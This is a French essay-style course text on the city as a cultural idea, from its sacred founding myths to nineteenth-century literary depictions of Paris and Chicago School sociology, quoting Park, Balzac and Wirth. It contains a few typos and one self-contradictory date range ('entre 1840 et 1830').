Questions Contemporaines: suite (3)

3-« Les lumières de la ville ».

 

Aujourd’hui, 75 % des hommes vivants dans les pays de l’OCDE sont des citadins, quant aux habitants de ce que l’on appelle les « pays émergeants », s’ils sont à présent seulement 40% à résider dans des villes, à l’horizon 2015  ces derniers représenteront 50% de la population.

La ville « gagne » donc du terrain, elle se démultiplie – les métropoles régionales sont de plus en plus nombreuses -, elle attire toujours davantage d’habitants ( on rappellera que la ville se définit précisément par le nombre de ses habitants , 2000 pour l’insee ) , elle se donne enfin comme le lieu de la réalisation de l’humain. De fait, la « fondation » d’une ville, relayée par des récits légendaires ou mythiques, est toujours un acte de rupture avec la Nature, c’est donc un acte dangereux et qui réclame des précautions : le choix du site est délicat, il faut des signes favorables … La construction des villes, comme celle des ponts ( pontem facere, bâtir un pont, donne Pontife), est une affaire sacrée. L’affirmation de la Culture sur la Nature fait toujours intervenir le religieux : colo signifie en latin à la fois cultiver la terre , habiter (d’où le mot colon) et honorer les dieux.

L’enceinte de la Ville protège de la violence de la Nature, elle doit définir les limites d’un espace sanctuarisé où les forces aveugles de destruction sont combattues. Romulus, creusant  le sillon fondateur, le pomoerium, proscrit le port des armes au-delà de ce premier tracé. De même que sont maintenus en dehors de la Cité les statues et les objets du culte de Dionysos, dieu de l’ivresse et de la violence incontrôlée , véritable menace pour la cohésion de la ville.

La Ville sera bien le lieu de la Culture et des manifestations de la puissance de l’Esprit, alors que le village et sa petitesse, son isolement dans la Nature, avouent une fragilité, une vulnérabilité en même temps qu’un stade primitif du développement. Les termes de « civilité » et d’ « urbanité » témoignent de cette idéalisation de la vie citadine.

De fait , la Ville va progressivement se caractériser par un mode de comportement, une façon d’être et de vivre qui repose autant sur des transmissions, des traditions que le monde paysan :

La ville est plutôt un état d’esprit, un ensemble de coutumes et de traditions, d’attitudes et de sentiments organisés, inhérents à des coutumes et transmis avec ces traditions.

(…)

La ville offre un marché aux talents particuliers des individus, et la compétition entre personnes tend à sélectionner pour chaque besogne l’individu qui est le plus à même de l’accomplir.

Robert Ezra Park, 1925 «  La ville. Proposition de recherche sur le comportement. »

 

La description de ces comportements « citadins » va grandement contribuer à renverser la valeur de la ville, vue désormais comme une autre Nature plus sauvage encore que la première. Lieu de concurrence mais aussi de frottement , de promiscuité morbide, la ville consume, épuise, impose un rythme et une autre forme de solitude, c’est un grand désert d’hommes comme l’écrit Baudelaire dans le Peintre de la vie moderne.

La grande ville moderne devient alors une véritable « jungle urbaine », pire l’ Enfer sur terre. Les premières lignes du roman de Balzac, La fille aux yeux d’or ( 1834), sont à cet égard très significatives :

 

 

Un des spectacles où se rencontre le plus d’épouvantement est certes l’aspect général de la population parisienne, peuple horrible à voir , hâve, jaune, tanné. Paris n’est-il pas un vaste champ incessamment remué par une tempête d’intérêts sous laquelle tourbillonne une moisson d’hommes que la mort fauche plus souvent qu’ailleurs et qui renaissent toujours aussi serrés, dont les visages contournés , tordus, rendent par tous les pores l’esprit, les désirs, les poisons dont sont engrossés leurs cerveaux…

 

C’est en effet au dix-neuvième siècle , l’âge des « villes tentaculaires » , que se constitue un discours ambivalent, tenu et entretenu par la littérature. La Ville y est à la fois le lieu des rencontres les plus inattendues, lieu du mélange des genres et des populations, où les bourgeois côtoient ouvriers et artisans, où les étudiants sur les boulevards cherchent les « grisettes », et le lieu inquiétant prospèrent les vices et les  crimes. Voilà par exemple ce qu’illustre parfaitement « Tableaux parisiens »  dans les Fleurs du Mal. Voilà ce qui nourrit l’imaginaire d’un romanesque « noir », celui de Balzac, bien-sûr, mais aussi d’un Eugène Sue – Les mystères de Paris- et auquel même Zola a sacrifié avec Les mystères de Marseille.

On peut comprendre aisément qu’à la suite des romanciers du XIXème siècle, les premiers sociologues aient fait de la Ville et de ses habitants un objet privilégié d’étude.

 

Ainsi en fut-il des sociologues de l’Ecole de Chicago qui s’efforcèrent de comprendre les problèmes sociaux propres à la vie dans les grandes agglomérations.

Si à l’Université de Chicago fut créé en 1892 le premier département de sociologie des Etats-Unis, c’est que la ville avait connu un essor considérable en quelques années du fait d’une affluence d’émigrés particulièrement remarquable : Chicago passa entre 1840 et 1830 de cinq  mille habitants à plus de trois millions. La coexistence de populations de cultures différentes dans le contexte d’une très forte poussée migratoire provoqua de nombreuses émeutes entre 1886 et 1919.

Les phénomènes de violence urbaine se multiplièrent, on vit se constituer des gangs de quartier et apparaître une population de marginaux, les hoboes, ceux que nous appelons aujourd’hui les Sans Domicile Fixe.

Les sociologues de l’Ecole de Chicago se mirent ainsi à étudier ces manifestations de « désorganisation », c’est-à-dire les modalités du déclin des valeurs collectives traditionnelles chez l’individu comme conséquence des changements brusques dans l’environnement économique et social de chacun. Les phénomènes de déviance et de marginalité sont alors saisis au moyen d’une application des théories de Darwin. C’est au fond la sélection naturelle qui explique les rapports sociaux : dans l’enceinte de la Cité la loi qui s’impose est semblable à celle qui régit la Nature ( Spencer).

 

 

Encadré.

 

Les citadins se rencontrent dans des rôles fortement segmentés. Ils dépendent assurément  de plus de monde que les ruraux pour satisfaire leurs besoins vitaux et sont ainsi associés à plus de groupes organisés, mais ils son moins dépendants  de personnes particulières …Voilà ce que l’on entend quand on dit que la ville est caractérisée pâr des contacts plutôt secondaires que primaires.

(…)

Le caractère superficiel, anonyme et éphémère des relations sociales en milieu urbain explique également la sophistication et la rationalité qu’on attribue généralement aux citadins.

(…)

La juxtaposition de personnalités et de modes de vie divergents tend à produire une vision relativiste  et un sens de la tolérance des différences qui peuvent être considérés comme des conditions de la rationalité et qui conduisent à la sécularisation de la vie.

Le fait de vivre et de travailler étroitement ensemble nourrit, chez des individus qui n’ont pas entre eux de liens sentimen,taux ni affectifs, un esprit de compétition, d’expansion et d’exploitation mutuelle.

(…)

Une fréquente proximité physique , associée à une grande distance sociale, accentue la réserve mutuelle d’individus dépourvus de liens et, si elle n’est pas compensée par d’autres possibilités de réaction, engendre la solitude.

Louis Wirth,  Le phénomène urbain comme mode de vie. ( 1938)

 

Fin de l’encadré.

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